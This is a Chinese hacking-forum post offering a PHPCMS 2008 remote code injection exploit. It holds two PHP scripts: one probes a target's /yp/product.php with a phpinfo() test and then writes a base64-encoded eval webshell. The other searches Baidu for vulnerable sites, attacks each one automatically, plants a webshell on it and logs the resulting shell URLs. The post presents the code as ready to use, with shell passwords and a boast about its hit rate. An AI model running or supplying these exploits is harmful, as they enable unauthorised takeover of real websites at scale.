黑客365

首页 » 入侵专题 » 阅读文章

phpcms 2008最新0day加批量EXP

2011-11-16 23:19 2816 0 发表评论

 现在命中率还不错哦。直接GETSHELL。一句话密码为c

EXP:

#!/usr/bin/php
<?php
print_r(‘
+—————————————————————————+
PHPCMS Remote Code Inject GetShell Exploit
Google Dork:Powered by Phpcms 2008
code by secr
+—————————————————————————+
‘);
if ($argc < 3) {
    print_r(‘
+—————————————————————————+
Usage: php ‘.$argv[0].’ host path
host:      target server (ip/hostname)
path:      path to phpcms
Example:
php ‘.$argv[0].’ localhost /phpcms/
+—————————————————————————+
‘);
    exit;
}
error_reporting(0);  
set_time_limit(0);
$host = $argv[1];
$path = $argv[2];
$exp =’/yp/product.php?view_type=1&catid=&pagesize={${fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}&areaname=0&order=’;
 
 
//检测是否存在漏洞
echo “[+] Try to determine the Bug….\n”;
$returnstr=httpRequestGET(‘/yp/product.php?view_type=1&catid=&pagesize={${phpinfo()}}&areaname=&order=’);
if(preg_match(‘/(php.ini)/i’,$returnstr)){
   echo(“[+] This site has Bug!We Will Be Try To Exploit It\n”);
    }
    else
    {
    exit(“[-] Exploit Failed! This site has No Bug!\n”);
}
//如果存在漏洞,就发送EXP Getshell
echo “[+] Try to create webshell….\n”;
    httpRequestGET($exp);
    $content=httpRequestGET(“/yp/shell.php”);
//发送EXP后,在获取的shell检测时候页面里有OK字符,如果有,则GETWebshell成功。
//print_r($content);
if(strpos($content,’ok’)){
    echo “[+] Expoilt successfully….\n”;
    echo “[+] Webshell:http://$host{$path}yp/shell.php\n”;
}else{
    exit(“[-] Exploit Failed!\n”);
}
 
//模拟POST或者GET请求函数。
function httpRequestGET($url){
    global  $host, $path;
    $method=$method?’POST’:'GET’;
    $payload = $method.” “.$path.$url.” HTTP/1.1\r\n”;
    $payload .= “Accept: */*\r\n”;
    $payload .= “User-Agent: Payb-Agent\r\n”;
    $payload .= “Host: ” . $host . “\r\n”;
    $payload .= “Connection: Close\r\n\r\n”;
    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
        echo ‘No response from ‘.$host; die;
    }
    fputs($fp, $payload);
        $resp = ”;
            while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
    return $resp;
}
?>

批量的EXP如下,这威力很大。请各位慎重 。

<?php
 error_reporting(E_ERROR);
 set_time_limit(0);
 $keyword=’inurl:about/joinus’ ; // 批量关键字
 $timeout = 1;
 $stratpage = 1;
 $lastpage = 10000000;
 
for ($i=$stratpage ; $i<=$lastpage ; $i++ ){
 $array=ReadBaiduList($keyword,$timeout,$i);
 foreach ($array as $url ){
 $url_list=file(‘url.txt’);
 if (in_array(“$url\r\n”,$url_list)){
 echo “[-]  Links repeat\n”;
 }else{
 $fp = @fopen(‘url.txt’, ‘a’);
 @fwrite($fp, $url.”\r\n”);
 @fclose($fp);
 print_r(“
 [-]  Get …… $url\r\n”);
 if(okbug($url)){
 $exploit=exploit($url);
$ors=okor($url);
 if ($ors){
 echo “[*]  Shell:-> “.$url.”/yp/fuck.php\n”;
 $fp = @fopen(‘shell.txt’, ‘a’);
 @fwrite($fp, $url.”/yp/fuck.php\r\n”);
 @fclose($fp);
         }
      }else{
          print “[-]  No Bug!\n”;
          }         
        }
   }
 }
 
function exploit($url){
 $host=$url;  
$port=”80″;
 $content =’a=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZnAgPSBAZm9wZW4oJ2Z1Y2sucGhwJywgJ2EnKTsgDQoNQGZ3cml0ZSgkZnAsJzw%2FcGhwIEBldmFsKCRfUE9TVFtjZmtpbmddKTs%2FPicpOw0KDUBmY2xvc2UoJGZwKTs7ZWNobygifDwtIik7ZGllKCk7′;
 
$data =  ‘POST /yp/product.php?pagesize=${${@eval%28$_POST[a]%29}} HTTP/1.1′.”\r\n”;
 $data .= “X-Forwarded-For: 199.1.88.29\r\n”;
 $data .= “Referer: http://$host\r\n”;
 $data .= “Content-Type: application/x-www-form-urlencoded\r\n”;
 $data .= “User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0\r\n”;
 $data .= “Host: $host\r\n”;
 $data .= “Content-Length: “.strlen($content).”\r\n”;
 $data .= “Cache-Control: no-cache\r\n\r\n”;
 $data .= $content.”\r\n”;
 
$ock=fsockopen($host,$port);
 
if (!$ock) {
 echo “[*]  No response from $host\n”;
 }
 fwrite($ock,$data);

 while (!feof($ock)) {
 $exp=fgets($ock, 1024);
 return $exp;
 }
 
}
 
 
 
function okor($host){  
 $tmp = array();
 $data = ”;
 $fp = @fsockopen($host,80,$errno,$errstr,60);
 @fputs($fp,”GET /yp/fuck.php HTTP/1.1\r\nHost:$host\r\nConnection: Close\r\n\r\n”);

 while ($fp && !feof($fp))
 $data .= fread($fp, 102400);
 @fclose($fp);
 
if (strpos($data, ’200′) !== false) {
 return         true;
 }else{
 return false;
 }
 
}
 
function okbug($host){  
 $tmp = array();
 $data = ”;
 $fp = @fsockopen($host,80,$errno,$errstr,60);
 @fputs($fp,’GET /yp/product.php?view_type=1&catid=&pagesize={${phpinfo()}}&areaname=&order= HTTP/1.1′.”\r\nHost:$host\r\nConnection: Close\r\n\r\n”);
 while ($fp && !feof($fp))
 $data .= fread($fp, 102400);
 @fclose($fp);
 if(preg_match(‘/(php.ini)/i’,$data)) {
 return         true;
 }else{
 return false;
 }
 
}
 
 
 
function ReadBaiduList($keyword,$timeout,$nowpage)
 {
 $tmp = array();
 //$data = ”;
 $nowpage = ($nowpage-1)*10;
 $fp = @fsockopen(‘www.baidu.com’,80,$errno,$errstr,$timeout);
 @fputs($fp,”GET /s?wd=”.urlencode($keyword).”&pn=”.$nowpage.” HTTP/1.1\r\nHost:[url]www.baidu.com[/url]\r\nConnection: Close\r\n\r\n”);
 
while ($fp && !feof($fp))
 $data .= fread($fp, 1024);
 @fclose($fp);
 
preg_match_all(“/\}\)\” href\=\”http\:\/\/([^~]*?)\” target\=\”\_blank\”/i”,$data,$tmp);
 $num = count($tmp[1]);
 
$array = array();
 
for($i = 0;$i < $num;$i++)
 {
 $row = explode(‘/’,$tmp[1][$i]);
 $array[] = str_replace(‘http://’,”,$row[0]);
}
 return $array;
}
?>

批量后SHELL的地址:http://www.xxx.com/yp/fuck.php 一句话密码cfking


收藏此文



评论 共0条 (RSS 2.0) 发表评论

  1. 暂无评论,快抢沙发吧。

发表评论

  • 使用新浪微博登陆
  • 
    疑问 冷笑 悲伤 坏蛋 感叹 微笑 脸红 大笑 吃惊 惊讶 困惑 酷 大声笑 恼火 古怪 转眼睛 给眼色 好主意 箭头 一般 哭了 绿人
  • want to say:

回到页首